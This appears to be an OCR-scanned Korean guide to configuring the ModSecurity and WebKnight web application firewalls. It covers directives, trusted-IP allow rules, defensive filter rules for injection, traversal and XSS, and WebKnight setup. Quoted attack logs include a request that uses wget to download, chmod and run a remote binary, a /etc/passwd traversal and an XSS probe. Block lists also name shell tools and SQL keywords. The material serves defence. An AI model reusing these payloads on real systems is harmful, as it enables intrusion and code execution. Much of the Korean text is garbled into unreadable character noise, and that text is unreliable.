ModSecurity9| &8 TZ0|A F2 ArE0t= S0 CHol A ZO0tEXL

1) SecRuleEngine On / Off / DetectionOnly
- On: ModSecurity 7|5 &3}
- Off : ModSecurity 7|5 HIZHst
- DetectionOnly : &-42t= SFX|2F XFEHS SEA| Q10 EFX|TE

ogt

2) SecAuditEngine On / Off / RelevantOnly
- On 2= EEEd =Y
- Off ! 2= EMM 2Z5IX| 943
- RelevantOnly : ErrortE= Warning®| EH|H, 112|101 SecAutidLogRelevantStatusoi|
Ho|El MEfAES} YX|ot= ETHMMTE 22
3) SecAuditLog logs/modsec_audit.log
- AFEO US| Z2E HO|SHt.
Ex) SecAuditLog /etc/httpd/logs/modsec_audit.log

4) SecAuditLogParts Option
- 20y 7| 2T 2 S Holst

/=2 o=

Ex) SecAuditLogParts ABFHZ

Parts L

0f0

A(E4) | Audit Log Header

B Request Header
C Request Body

(request bodyZ+ X5t modsecurity?t request bodyS ZAISIEE MY Qli= AL00THALE)
D H2 Response headere| Z7H (47 X2 t&))

Response Body S7t EHA|
(#47§ modsecurity? response bodyS ZAFSIH ZIAR2Z AIZI0| 0|5 MESIAIZ HEE|] Qlis BT ALE)

£|Z Response Header
(QFX]2f AR T2 THE0l|A] Obmbx|of] OfeH THEH 27} == et M| 85 S H|<)

-
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Response Body(&47H |2 OH&))

LAE D E2 Y

CE thHst= SMOE multipart/form-data 212 H0| ALEEIRS HE Hlelst ZE Z2 Cot 22 LIOHE 7|15
2%, (multipart/form-data 2/ TES AtEst= Y FZ 0 st HEE maket mf T utx)

Z(g%) 279 22 20|

Lol I = =i K )]

5) SecAuditLogRelevantStatus [REGEX]
- LA 229 St 2T response MEHTEL| Zf2 ML
« If7HH0l= H 1 HE A 0| SO{7ICE
Ex) SecAuditLogRelevantStatus A[45]

6) SecAuditLogType Serial / Concurrent
- AMEZ A2 Bt S HFSLLY.
- Serial : 2& 23 Wl 2OMAof| MEEICE YAHOZ Mk 4 UX[THSHLIL| Tt 7| S E| 7|
mZofl =24& 4 UL
- Concurrent : 237t 2t EHMMHR L0 XZEICE (0] 242 2mbAS 212 ModSecurity
Console host2 2 [ AF23H= fAlo|Ct)

7) SecRequestBodyAccess On / Off
- Requestg{0llA Body £201 CHet K2[Z OEA| & A QIX| LAt
- On:RequestBody 22 A|=3tCt,
- Off . RequestBody M2 2 Al SHA| §H=LF.
O] X|A|Xt= Request 24042 POST_PAYLOADE AAr mf HRSICE POSTZIE EE-SH| ldhi=
phase:22t REQUEST_BODY tH4~/Z#|0|M, 37X| 7+ 5 LA &|0{0F2t X2| 7} 7HSSCE.

8) SecResponseBodyAccess On / Off
- Responseg{0ilA Body £&201 CHEE M2|E o8 A & AQIX| 4ot}
- On ' ResponseBody FZES Al=otCt.(22{LE MIMEEI) 1 LX|sHOFEE
- Off . ResponseBody H22 Al=5HX| =L}
O] XIAIXH= html SEE ZAFSH| 2{6l ERSICE “phasei4”2| X{2| CHA|2 RESPONSE_BODY
H4/2H0|1M, 3717 B ™ E|0f Q| O H, response bodyE AAFE 4 QiLH.

Of

tCH

r

9) SecResponeseBodyLimit
- ModSecurity?} Response Body 37| 2 &&et 4= Ql= 22| X[CH 37|E MAotCt,
» SecRequestBody Limit 524228
0] 2t2 HO{7tH M= 500 LHE AH 2F HIAIX[TE FEA[SICE
10) SecRequestBodyMimeType mime/type
- Response 20l A Body 7tS HIHZY MIME EtS HESHCL.
» SecResponseBodyMimeType text/plain text/html // 7|2 gk

Mime EfI2 242 2=7fgh 4= QULt.
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2.4 ZALOfl2] IP MH

ZAL 0l|2] 1P EFOIZE ModSecurity?+ BfA| & AHEHSH= EM0H|M KlQ] Al7|= AS =BT
8 Flofd gd S e M ollex=|S off 0{0F &Hel §H0| 7HsOICt.

modsecurity.conf I} 8 (pwd=/etc/httpd/conf/modsecurity.conf)

# Improve the quality of ModSecurity by sharing information about your
# current ModSecurity version and dependencies versions.
# The following information will be shared: ModSecurity wversion,

4 # Web Server version, APR wversion, PCRE version, Lua version, Libxml2

# wversion, Anonymous unique id for host
SecStatusEngine On

L UE 7t
SecRule REMOTE_ADDR "192%.168% 0% 5" allow, ctl:ruleEngine =off
SecRule REMOTE_ADDR "192%W.168%W.0%.24" allow,ctl:ruleEngine=off
SecRule REMOTE_ADDR "192%.168%. 0% 44" allow,ctlruleEngine=off

# vi /etc/httpd/conf/modsecurity.conf

SecRule REMOTE_ADDR “192\.168\.0\.5” allow.ctl:ruleEngine=off
SecRule REMOTE_ADDR “192\.168\.0\.24” allow.ctl:ruleEngine=off
SecRule REMOTE_ADDR “192\.168\.0\.44” allow.ctl:ruleEngine=off

2.5 ModSecurity 221} 0N

ModSecurity2| H&2 =7| fI8iA = httpd.conf 0l 715t & FIM2EE FAKE| S0 ApacheE
TA[RFSHEH EICH CRA| ME5IH BitHE M3 X%t F| ApacheS MA|RISHH EICY.

#
#

ZCos F4MlE S8 0xe

Errorlog logs/dummy-hostexample.com-error_log

CustomlLog logs/dummy-host.example.com-access_log common

#<MNirtualHost>

#lLoadModule security?_module modules/mod_security2.s0

#Include conf/mod_security.conf

#Include conf/owasp-modsecurity-crs/rules/.conf

#lnclude conf/owasp-modsecurity-crs/owasp-modsecurity-crs.conf

# vi [etc/httpd/conf/httpd.conf

- ModSecurity 250 F7IH 220 FAKZ|E

o

ct.
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.72 El 34 & E% A
3.1 PHP Injection 22 Xt

£|2 OHItA] BAH SZ0j| B0| 0|8=|1 = HMZEE PHP Injection 40| oftet HHO=Z 0|F0]
A
M

X=X Ch2el S4 205 Saf el

<PHP InjectionE O|E¢t EAIO|E BAZ Af2fl>

victim.com-access_log:xxx.xxx.239.56 - - [30/Aug/2005:06:23:06 +0900] "GET
/bbs//include/write.php?dir=http://xx.xxx.br/cse.gif?&cmd=cd%20/tmp;wget%20http://ww
w.xxx.com/0/r0nin;chmod%204777%20r0nin;./rOnin HTTP/1.1" 200 2066

SAX= MZEE2Q PHP Injection FHE 0
T|SHA| AEI A AlSHA|ZCE ESE O] *Halﬂﬁjc*i
MX[SIALCE 0|23t SA2 2|2 FLHO A CHAZ = 2D U= 2

—

2t AfO|E) SIX/8t o Z23
2|&2(0f "rOnin" Of2ts HTo
% AfO| F&0 ofolct,

o

un o

S
o
A
o

ModSecurityS 0|23t0] O[21et HEHS| SH0]| Choh XHCh &iets Ot AL,
X, SAX7L 2|8 AO|ER 2E9 AA MHE at1, “id", "wget' & A0 0|8 =

242 AL S KIERSICH

# IH2tH|E{0fl URLO| S0 Qe B S KL

SecFilterSignatureAction "log,deny,msg:'PHP Injection Attacks
SecFilterSelective ARGS_VALUES " http:/"

# o2t Efof] “Is”, "id", "pwd", "wget" 2| 7|HETL UAS B AL

SecFilterSignatureAction "log,deny,msg:'Command execution attack
SecFilterSelective ARGS_VALUES ";[['space:]]*(Is|id|pwd|wget)"

3.2 HME H¥ ZaS S5 TE{0f|A] XHE

#"id" ol £3 At K¢
SecFilterSelective OUTPUT "uid=[[:digit:]]+\([[:alnum:]]+\) gid=[[:digit:]\([[:alnum:]]+\)"
#"ls-1" HE| =2 Zuh ket
SecFilterSelective OUTPUT "total [[:digit:]]+"
# "wget" Y| 3 Zut ket
SecFilterSelective OUTPUT "HTTP request sent, awaiting response”

£12] 2Fof 2fah M= 2 =2| PHP Injection F|FES S20I%S E< Ciat 20| AHHE= 2S 2HeIE = ATk,
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[Mon Mar 06 10:07:25 2006] [error] [client xxx.xxx.222.28] mod_security: Access denied
with code 403. Pattern match "*http:/" at ARGS_VALUES("dir") [msg "PHP Injection
Attacks"] [hostname "victim_ip"]

[uri "/new/bbs/include/write.php?dir=http://www.xxx.com.br/cse.gif?&cmd=id"]

71 2|0f| = M4 GLOBALSES 0|8¢t 322 27| ?l8li A= Ch32t 20| AFgiCt
SecFilterSelective ARGS_NAMES "(*globals\[|*globals$)"
3.3 SQL Injection 22 Xjct

A2 Y 34 S B2 40| SQL Injection FAXES 0|8% ZH0|CH
(=}
O

CHS+t Z0[ DB Query £ S©if DBO| ChSt AR, =7t ZBA|= S= AfToh= 20| HiEZOIC,.

## SQL Injection Attacks

SecFilterSignatureAction "log,deny,msg:'SQL Injection attack

# Generic
SecFilterSelective ARGS "delete[[:space:]]+from"
SecFilterSelective ARGS "dropl[:space:]]+database”
SecFilterSelective ARGS "dropl[:space:]]+table"
SecFilterSelective ARGS "dropl[:space:]]+column”
SecFilterSelective ARGS "dropl[:space:]]+procedure”
SecFilterSelective ARGS "create[[:space:]]+table"
SecFilterSelective ARGS "update.+set.+="
SecFilterSelective ARGS "insert[[:space:]]+into.+values"
SecFilterSelective ARGS "select.+from"
SecFilterSelective ARGS "bulk[[:space:]]+insert"
SecFilterSelective ARGS "union.+select"
SecFilterSelective ARGS "or.+1[[:space:]]*=[[:space:]]1"
SecFilterSelective ARGS "alter[[:space:]]+table"
SecFilterSelective ARGS "or 1=1--""
SecFilterSelective ARGS "'.+--"

# MySQL
SecFilterSelective ARGS "into[[:space:]]+outfile"
SecFilterSelective ARGS "load[[:space:]]+data
SecFilterSelective ARGS "/\*.+\*/“

2|2 MHof| o|sH SQL Injection SZH A7t Of2Het ZH0] KFHEICE,

Mon Mar 06 09:57:11 2006] [error] [client xxx.xxx.222.28] mod_security: Warning. Pattern match
"delete[[:space:]]+from" at QUERY_STRING [msg "SQL Injection attack"] [hostname "victim_ip"]
[uri "/new/bbs/zboard.php?id=bbs&no=24'delete%20from"]
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B & QEOIM “./"2 22 2= BRA| It 0= &S S /etc/passwdet 20| H|H&Z{Q
HRHES 9%t ZR7t UL R KLtsh= 20| HIZZISICE “. /" AIEtot| ofsh i3 22 #EE
it

SecFilter "\.\./"

f1e| 2Fofl 2I8H directory traversal 34 A=Al CHE2E 20| KHEtE|= S gfeleh 4= QIC.

[Mon Mar 06 09:52:00 2006] [error] [client xxx.xxx.222.28] mod_security: Access denied with code
403. Error normalising REQUEST_URI: Invalid character detected[0] [hostname "victim_ip"] [uri
"/cgi-bin/quickstore.cgi?page=../../../../..]..] ..]..]..]../etc/passwd%00html&cart_id="]

3.5 XSS(Cross Site Scripting) 32 X}ct

XSSi= @ H|o|X|off JavaScriptet 22 ofd ASTES HYUot0] LIE & H&APt 01F A7 |A o=
Z{0|C}. O] SHOf| Chigt Yot= mtetef ZE{Z QI LhSat 20| 28 & 4= Ut

SecFilterSignatureAction "log,deny,msg:'XSS attack
SecFilterSelective ARGS "<script"
SecFilterSelective ARGS "javascript:"
SecFilterSelective ARGS "vbscript:"
SecFilterSelective ARGS "document\.cookie"
SecFilterSelective ARGS "document\.location"
SecFilterSelective ARGS "document\.write"

712 o= XtHIASE A S ;
oo 77| BRIt L EElE AS YRS UCE XSS SH A7t LSt 20| AHE= 2=
QICH

AA .

[Mon Mar 06 09:51:55 2006] [error] [client xxx.xxx.222.28] mod_security: Access denied

with code 403. Pattern match "A$" at HEADER("Accept") [hostname "victim_ip"] [uri
"/cgi-bin/auction/auction.cgi?action=Sort_Page&View=Search&Page=0&Cat_ID=&Lang=Engli
sh&Search=All&Terms=<script>alert('Vulnerable');</script>&Where=&Sort=Photo&Dir="]
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SAXE EE Soll A2 C[EE2(9 Hio|He| mAS Hdidts 37t AL WEt AR
CHE 2k 20 "bin/" ZIMETF A2FL “Is", "id", "pwd", "wget" S 320l %0| 0|&=1 U=
A2 HHS XHEAZIC

SecFilterSelective ARGS "bin/"
SecFilterSelective ARGS_VALUES ";[[:space:]]*(ls|id|pwd|wget)"

HHOHE2S BH2 2 3to] 37| RIBHeHA| %0t Y2 IS HxIA| sto] SH IEE
Mo ot ZHOICL WRtN TH2 T 20| MBXF 88 AEYS| 37|18 ABete 0/S

SecFilterByteRange 1 255

3.8 M AH=E H[E

oY H2EE H[otstn £ ZHOMTHIIY Y=EE S8 4 QUCH

of2f oflofl A= “/upload.php” O[Ol A2t I A2 =Tt THsSICH.
SecFilterSelective HTTP_CONTENT_TYPE multipart/form-data
<Location /upload.php>

SecFilterInheritance Off
</Location>
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3.9 Google sliZ xjct

# %|2FM0| Z1HSH= Gravity Board 2| 2HZ S ket

SecFilterSelective HTTP_Referer “Powered by Gravity Board”

-KIEAl 2

mod_security-action: 403
mod_security-message: Access denied with code 403. Reffered match "Powered by
Gravity Board" at REQUEST_URI [msg "PHPMyAdmin attack"] [severity "EMERGENCY"]

# php A|2EITE THIAEEO| 7ts url AAA| OIS S1EX] &2

SecFilterSelective HTTP_Referer "inurl\.*phpSysinfo.*created by phpsysinfo"

-KIEAl 2

mod_security-action: 403

mod_security-message: Access denied with code 403. Reffered match
"inurl\.*phpSysInfo.*created by phpsysinfo" at REQUEST_URI [msg "PHPMyAdmin attack"]
[severity "EMERGENCY"]
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OI'

282 WebKnightE &8

:

1. WebKnight x| 5! &7
1.1 Webknight &x|

_'_

> =2 QIAERIE o]8%t EX

HIIS

|Z= WebKnighto] |AHHL2 4.6.
M & A QI 45 5T O 2 MX|E TIAHsiCt,
E% IS 7.0 O|AtS| HHMO| A AIR 7HsE

EAMH Eot Zs}

f=0|2=2

I'D:L ISAP| ZE{2 SXI5IE 2 ofjct

e Z21E I Windows 2012 R2 Standard
o AAMH IS T.0

e WebKnight &A ClAIEZ] . C\Tools\WebKnight.4.5.5
e WebKnight 7|2 &X| C|2E2| : C!\Program Files\AQTRONIX Webknight

WebKnightE &%[5t= &Y & 7t ZHEotd 7
H

InstallerE 0|3t MX| &HO|C},

D 02§ URLOJIA WebKnight 4.5.5 A T}elS Ch@2E aher}.

= http://www.aqtronix.com/?PagelD=164

LIE 20X X[&StH= Microsoft

% URL 92 AI{ A| 34 =H0]X|(www.agtronix.com) > download >

Archived Downloads 22! > HFA QI S LIREE

@ oFEZ dlix|st | Setup 2L 2 0|=olH L1 22 il S0| MAEICH
BHT= of €up = o e HazaVll Sot!
e as =0 a7 xbd [— =]
z ze =71 g )
© -t ‘ » WebKnight4 55 » Setup » x6d o\ [ree 2 2|
prETrET as - Y] =5 37| FEYLE
b CHREE 57 Config 285KB  OfLIR
I HEE S0 ] default ke ohL=
EHZ A & denied 1Ke o=
& 6U 2KB OtLl=
b L) pC (B install 10KB  OfL|R
(B 15Anstall 10KB  OfL2
b e [B]15AUninstall 10KB OtLIR
[=7 LogAnalysis 346KE  OtLIR
& Readme 6B OtLR
|| robots 1Ke oLm
|| robots KB o=
| Robots 79KB OtL=
uninstall VBSCript 238 E THY oKE OfL|®
15 WebKnight indows Installer T2 X| SIKE OfLR
2] WebKnight L B A 20KB 0L
5] WebKnight 32bit.dil ELELRUE 3as57KE o=
) WebKnight ggERIMEY 425k8 OfLIR
>
] =
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X =2 mMAS0|| et ¥F
e Config.exe : WebKnighte| MEIIAS A0S ==
e denied.htm : 0| A 'Response Directly’ M2 Edlf 20{X|= 7|2 AHEH HIAIX]
e LogAnalysis.exe : 21 247|
e Robots.xml : User-Agentdf| CHst DB I+
e WebKnight.dll : ISAPI Filter It WebKnight7t 4
o WebKnight.xml : WebKnight 32 Hoig & = A8 ot

3 9 WML E 5 WebKnight(Windows Installer Ii7|X|) TS AltistH CHSat Z-2 SHHO| LIEFCTY,

i ACGTRONIX WebKnight 4.5.5 Setup .

@ Welcome to the AQTRONIX
WebKnight 4.5.5 Setup Wizard

The Setup Wizard will install AQTRONIX Webknight 4.5.5 on
your computer, Click Next to continue or Cancel ko exit the
Setup Wizard,

Nexk = | | Cancel

Iru

@ NextS +2H 2X| Et MEHSIHO| LIEHLF=H, “Typical"S A1E{BICY.

| & AOTRONIX Wabknight 455 Satup x|

Clusirie Setug ype

Croces bhe ssbup bype that best s vour reecds

= Tyipis al
['-# Iretimls b ret GO [rOgran Reatures, Recommended For
= e LERE,

= Cyskom
H _'% Elinacy e s N Chisise wihach Sriagr i Taslres vl B rolaled
= sl whers they will e instaled, Recommendsd for sdeanoed
mare,

= Cipinglet e
b1 HFI Bl progra festhures will be insbaled. (Fesquines most disk
u Py

o« Bk Carcel

(B 0|Z A= MA|TpMO| FISHE|H AX|7} &AL AKX =[H IS XM2|7|0jZol| T2t 20
WebKnight-32-bit2t Webknight-64-bit7t %‘—7 t7h ElCt.
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H;l 2| 7| of B

O 7l AHETM DLLOIL 28 DE BE 4o 8 ATHE & 9F AN O 0E HAE 5 Yaus

REwE 4 -

uE - e an ez g HEd TS ]

3R

"

CPTIOME e bisLaadlr * kb HEEY BE&  PeotocolSumporModuls L1-
TRACEy et e . R FZEN BE  ProtocolSupportiioduls -5
WebErght 32-b0 g = TENNGE  mepsodule EE
Wekright fd-bat # ki HEA R Eapiindiile L5

G cTE v = TFEE §0  TabcheWoueDeiiec . B5

© @HolX|of H&sH=Ct HE I HEH
SEE|US AOIC

% @|X| . C\Program Files\AQTRONIX Webknight\LogFiles\

Oo=Z ZEL|UCHH

HX| 200 Ch=at

Z2 23m

20|

] 18.02.21.DefaultappPocllog - H2E [-[= 5]
WEE BEG MY 27V EEEH)
#Software: AOTRONIX WebKnisht 4.5 ~
#Date: 2018-02-21 04:49:08
#LoaTime: GMT (Local-03:00)
#Fields: Date : Time ; Site Instance ; Event ; Client IP ; Username ; Host header ; Additional info about request (event specif
2018-02-21 ; 04:43:08 ; ACTRON|X WebKnight Ioaded
2018-02-21 ; 04:49:08 ; INFO: Settings loaded from file: WebKnight.xml
2016-02-21 ; 04:49:03 ; INFO: To check if loaded correctly, vou can have a look at the currently loaded settinas In the file 'L
2018-02-21 ; 04:49:09 ; [NFO: ISAPI server version
2018-02-21 ; 04:49:09 ; INFO: Firewal| |s runn\ns as user ‘DefaultAppPool and loaded in process: c:windowssystendeinets vy
2016-02-21 ; 04:49:09 ; INFO: Firewal| Is Installed as high priority (very securs)
2018-02-21 : 04:49:09 : INFO: ISAPI Filter will not process raw data because this ISAPI version does not support it (OnReadRawl
2018-02-21 ; 04:49:09 ; IMFO: Webkniaht has a pass-throuah wildcard ISAPI extension for scanning POST data which is by default
2018-02-21 ; 04:43 EIB ; INFO: HTTP traffic will be monitored
2018-02- 21 : 04349' ; \NFUI HTTFS traffic will be monitored
e018-02-2 4 4 109 wal | will process raw data using a pass-throuah ISAFI extension,
2018-02- 21 ; 04 49:09 5 WBSVCI ; OnSandR whata i ::1 i ; localhost 3 GET ; /browserconfig.xni : /browserconfia.uml 5 3 HITP C
2018-02-21 5 05:10:09 ; AUTRONIX Webknight unloaded
< n >
EOlAE -I_E |9_'c'>' M |I:HQ |E-'I |9 = |—
X|'o |_I—EE = 0 on_l' EX Hi 0 ‘571 |_|-E|_IE
AJEIEE IR‘S M I
DVB—Eu—E o [=) |_|' Ex
M TVET} DX 2 MAIYUS CHR R E e £ QS SiR[3ict
@:::A LS i ,_|‘7X§ AXMUS CHREERR £ I:I:'TEOX-I |_H:-
O BiR| 3 LIEHEE T 5 | IS Mstol LIERHS B0 A2 2
@ &% il = LIEtLE THY F install.vbsIIYS A3 LIEILt= &ofl X &
‘l|. M |'6'I- O| |_E S (:)-II |-
ostnameXt EX|gt XS HOJZLL.
B | Hostname required A~ B | Fath required -
Specly ta 15 hostwhara you want Wabnight o be | oK Specily a path on LocalHoat whens youwanl aK
installad ‘WabKnight lo be installed. This has to ke an absalule
Cancal path iwith 8 ocal dive leber on e host ro LING |
Q P — e
|LDL=|HA:I51 |I2'.P'ug'amFln—s')‘u]TRDNI'r‘.'chkmghﬂ

<Hostname ¢2i>

A Hot 23} oM

<M% A= Y

62



1.2 Webknight 2t

> =2 QIAERE 0] 8%t AfX|
=S sliF|et Setup EE0IA WebKnight.msi 28 = RemoveS 22I8ICt LE{TIX| A =| K| 2
== HOO2 A AK[s}{0f olLf.

% 21X| : C:\Program Files\AQTRONIX Webknight\LogFiles\

2 AQTRONDC WebiKnight 4.5.5 Setup X

Maodify, Repair or Ressove installation
Select the operation you wish to perfarm.

Medify

¥
:ll_%l At users 10 changes the vy fealures ore instalied,
Repair
i% irs @rors in the mast recend insinlotion siote - Toes missing
g or cornupt files, shortosts and registry entnes.
Remave
3 Rernoves AQTROMES WebKnght 4.5.5 from your compuber

< Bnck Wit cancel

gl dX|st A setup G LH Uninstall.vbsE Aot siEdt= HostnameS
=

1 | Hostname required Wbk ght

Files AOTROMIS WebiKnight a5 well?
Cancel

b
Specity the 15 host from which you want in have oK
WebEnigh uninstalled Do you want 1o completely remave the directary C\Pragram

= =

HAAG S HED17| 218K ISE RHAIZ{BHOF BHL

—

2. 8%

2.1 Config.exe?t LogAnalysis.exeE 0| &% 8™

WebKnight= SQL Injection 3201 Chiot XHCH S12E(X| @42 M = 22Xt Ciet M4 Xt S
2 30| 2t E ChYet AT 7[SS HMSTCt 7|2 O of2fst AtEt 7|s0] M0 MX[ Al

S0 = MEO| E|=0| 0] Xt 7| 50| ol & H&S ke 5 QCh.
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[ChefA, EX] O] XpLIQ| B AFO|E 2HE0Y SHA| EoA| £|Motoh= 2ES HIEA| 7X0F oiCt.

= —
| EX[=C A Hotof B2 310t AZS SO0k

TX|, WebKnight &x| 0| aig ¢l AfO|E0| F&oto] YYHOz E F 8l SHO| 0|F0 X=X
golst, H&0[ XtHE Z2 WebKnighte] 215 FHZ5H0] Ofteet S0 2fsf REFO| AHEE|UE=X]|

A
&0t 0] 25 +Fot0{0F eIL.
-CIZE XA 2O e, 4 ZT203, A7 Tjo| #fXl= tEat 20

o 21 I} I C\Program Files\AQTRONIX Webknight\LogFiles\YYMMDD.log

o 8% Z=% : C:\Program Files\AQTRONIX Webknight\Config.exe

o A% I C\Program Files\AQTRONIX Webknight\WebKnight.xml

0 WebAgents Database : C:\Program Files\AQTRONIX Webknight\Robots.xml

MY M2 Afch FH(S)mY of2t T E2Ct WebKnightS AX| & 7|2 20| HE%/0f ZICk.
M&0| X}EHEl A of2f J2Imb 20| 2o & Z40|Ck
= | o el
e@| & http//127.0.0.1/ p-c ” (& wWebKnight Application Fir | | ok

WebKnight Application Firewall Alert

Your request triggered an alert! If you feel that you have
received this page in error, please contact the
administrator of this web site.

What is WebKnight?

AQTRONIX WebKnight is an application firewall for web
servers and is released under the GNU General Public
License. It is an ISAPI filter for securing web servers by
blocking certain requests. If an alert is triggered
webKnight will take over and protect the web server.

For more information on WebKnight:
http://www.agtronix.com/WebKnight/

AQTRONIX WebKnight

0] SHHZ2 WebKnightollA] EE{ 201 2[sH ALt A2l = FEX0A| ELi= 712 210 31H0ICE FaXel
o eNg =0l S5t o[t 20| XAITHEICIH 27 It S HO{“BLOCKED MIAIXIE &olst
Ol S0l XHAE| A=K 2ot A7 THA0|A OF 3H{O0F BT} WebKnight= 2.0 HERE 21 2M7|1E
MiSstz1 U= EXIZEC LHoI| LogAnalysis.exeS AoHH AtsO0 2 21 MAUSS S2{QALE MEfet

U1 232 EAoI=H| & H O[S  shEL.
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File

=

Log Analysis - 18.02.26.DefaultAppPool.log [ = o

Edit View Help
> o Vs |G P

Date

| Time | Site Instance

=01

2018-02-26 01:38:25

2018-02-26 01:40:10
2018-02-26 01:40:10

2018-02-26 02:11:58
2018-02-26 02:11:59

2018-02-26 02:11:59 INFO: ISAPI server version: 8.0
2018-02-26 02:11:59
2018-02-26 02:14; 59

HTTP traffic will be monitored
HTTPS traffic will be monitored

201
2018-02-26 02:12:06 waSvcl

N2-7A_N2:17:1A C1

<]

INFO: WebKnight has a pass-through wildcard 1SAPI extension for scanning POST data which is by default installed on 115
2018-02-26 0Li38:25 INFO: HTTP traffic will be monitored
2018-02-26 01:38:25 INFO: HTTPS traffic will be monitored
2018-02-26 01:38:25 INFO: Firewall will process raw data using a pass-through 1SAPI extension

INFO: Detected change in settings, reload done!

INFO: You can have a Iook at the currently laaded settings in the file ‘Loaded xml'
2018-02-26 02:00:26 AQTRONIX WebkKnight unloaded
2018-02-26 02:11:58 AQTRONIX WebKnight loaded
INFO: Settings Inaded from file: WebKnight.xml

INFO: To check if Inaded correctly, you can have 3 look at the currently Ioaded settings in the file 'Loaded xmi’ (start config

INFO: Firewall is running as user 'DefaultappPool’ and loaded in process: Giywindowshsystem3zhinetsr¥yw3wn.exe
INFO: Firewall is installed as high pricrity (very secure}

FO: 1SAPL Filker will not process raw data because th\s 18AP1 versien does nat suppart it (OnReadRawData event is ot
pass-through wildcard ISAP1 extension for scannin @ POST data which is by default installed on 115

F\rgWaH will process raw data using a pass-through ISAPI extension

Date: 2015-02-26

Time: 02:12:06

Site Instance: 'W3SVC1

Event: OrPreprocHeaders

Client IP: 10.0.1.71

Username:

Host header 10.0.1.71
Additi f

info about request (event specific): GET

HTTRf1.1
BLOCKED
Connection: Keep-Alive Accept: text/html, application/xhtml+xml,

‘Host Header 1Pv4 (Warm propagation)’ regex not allowed in headers

Ry

Mozilla/S.0 (Windows NT 6.3; WOWE4; Trident/7.0; rv:11.0) like Gecko
BLOCKED: IP address '10.0.1.71' not allowed

Accept-Encoding: gzip, deflate Accept-Language: ko-KR Host: 10.0.1.71 U;

{0
10
tot

I

mjo

>+
il
rm
rE

SO

HOy KA
=]

oo
oZ

>|

40 | é! I-I_/.\_ol X|.E_|-E|0-| 27

[Log Entries: 42 - Filtered: 0

Al 270 BLOCKED LilE % HsM 22 HEE &= UL

1) Scanning Engine(HTTP,HTTPSO] Ch$t ZL|E{ZIS M)
@ Allow Late Scanning : &2 @M =22 AZH

(2) Scan Non Secure Port : H| £t I

(3 Scan Secure Port : E9F LE AZH

@) Excluded Web Instances : EX ¢l QIAH

E AFH

—_ =1

A HQ|

2) Incident Response Handling(2r2| X0l SZ0j| st st ol =3 M)
(D Response Directly : 22 ZX| A| E& HAX| S
(2) Response Redirect - AHE Xt K| HIA|IX] SE

(3 Use Response Status : 324 ZX| A| 2210|HE

Ol Al Response Status2| HIA|X| T

(4) Response Drop Connection : 32 ZX| A| HZ E&
(5 Response Monitor [P : EL|E{! |PO| Bl A|X| &

(6) Response Block IP: 2 ZX| Al IP KpEt

(@) Response Log Only : 32 ZX[ A| 23 7|10 X{THSHR| 94
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3) Logging(WebKnightoll /8 E{R == 270 chet MH)

(@ Enabled : 271 7|2 29!

(@ Use GMT : A|AEIO| AJZtC 2 7|SEHX] 2RI (H| = olix]| & Z AL AIZICE S72)

(3 Per Process Logging ‘215 HY 22t &X| 2H(7|& 28%)

(@) Per Process Owner Logging : &l A ZZAA ARXEZ 2IMAUS MM (SRI2THE 0|50]
21 I 0| Z0i| Z£eto| )

® Syslog Enabled : Syslog Af%

! O
@ Log Client IP Cllent IP 7I§°* | 2ol
® Log User Name : User Name 7 | x| =l

4) Connection(IP2| 2L|E{2l 4! |pe| E2t52 MH)
(1 Connection Client IP Variable : 2210|HE

IPE 2H0tR7| /ot Mt tHax 212
(@ Change Log IP Variable : IP FAZ EIF5}7| 2[oh @ AH 271t HE

(3 Monitored IP Addresses : X|&3t IPQ| Ecf 271 7|2
@ Denied IP Addresses - X[&%t IPE Atttetn, 27 7|15
® Blocklists : E 2| Blocklist A2

(® Connection Requests Limit: IP 4 HZQH 4= X[t
@ Excluded IP Addresses : E3 IP 0|2/ K2

ot

5) Authentication (/152 20] Clish HH)
() Scan Authentication Excluded Web Instances : 915 A7l
(2 Deny Blank Passwords : S 2% Xtct
(3 Deny Same Password As UserName : id2} Z+2 password AFct
(@ Use Denied Default Passwords : X|& <! Password AHct
(5 Deny System Accounts : A|AE A|H H2 HE
(® Use Deny Account Brute Force Attack : £ A|Zt LHOf| QIBA| = 214 EIX|
(@ Use Allowed Accounts : SE=! A&t 015 5=t
(® Use Denied Accounts : SZ2 & AE Ktct
(9 Scan Account All Events : CHZ ISAPI O|HIEO|| AFSE A1 AZH
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6)

7

A Hot 23} oM

HTTP Version(HTTP A 2+ M%)
(1 Maximum HTTP version : HTTP HA £X}& Zlo| &t
2 Allowed HTTP versions : S=2%I HTTP KAt 6|

URL Scanning(URLO| CH{gt ZE{2))

() RFC Compliant Url : URLO| RFC #<t2 Z6t=X| HARSHE HE Q=M URLY| 20| S017tH=
Z% Disabled &3

(2 RFC Compliant HTTP Url - HTTP Url0| 4} RFCQIX| ZAt

(3 Url Encoding Exploits : Url Encoding &2 KF&t

@ Url Parent Path : 2 A2 At Kfct

® Url trailing Dot In Dir . “,/” AF2 K}

® Url Backslash : “#” AF2 Kfct

@ Url Alternate Stream : “” AF2 K&

Url Escaping : “%” AFZ Kt

(® Url Running Multiple CGI : tcte EXF XA

Maximum Url: Url Z20]2| X[3t. 7" EX} 0| M7tX| 2] Zo| K3

@) Url Characters : 1 2| C+2 Ajotet EXF

@ Url High Bit Shellcode : ascii 127 ZE2Ct 2 bit shellcode Attt 32 mTHUH AIEY F2
Disabled #|=2

(3 Url Special Whitespace : \r, \n’, \f 2| escape 2Xt A}

Denied Url Sequences : Url Sequences Xzt

(1 Denied Url Regular Expressions - 3iie} &1 Al Zalst A At

Allowed URL Starts - http://, https.// & Ul A|%f X2 XIE

@@ Url Requests Limit : £ Urloi| Ciet @8 T2l 4~ &|ot

Excluded Urls : EfX|22E SFE Url 0f|2| X2

Mapped Path(ZZE st
@ Parent Path : £ 2Z= H2 At

(2) Special Whitespace : 7H&('\r), Line feed(‘\n’), form feed(\f'), backspace Xtct
(3 Escaping . “0% Azt

@ Dot In Path : ZZ LH dot(.) xtct

® Multiple Colons : ZZ Ui colon() 27H OfAF K&t

(® Characters : 22 Ll SE¢ot EX17F ZSEl 2 KT

@ Allowed Paths : S5t 4= 518

_I_ ~

18
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9) Requested File(XITHAIZ I S=3 5122 MY SE2 HX)
() Use Filename Raw Scan ‘A2|=|X| 242 Y 0|2
@ Filename Characters : IFUE0| SEot 2Xp7t ZEHE B At
(3 Deny Default Document : CIZE 2A 28 A| Xt
() Denied Files : i 2|AEN| SSE I MZ/AH6HH & Z2 KT
(5 Monitored Files : S It M2 ZL|EHZ
® Allowed Extensions : S2 & 2H&Xt 512
@ Denied Extensions : S=&! S &AL K}
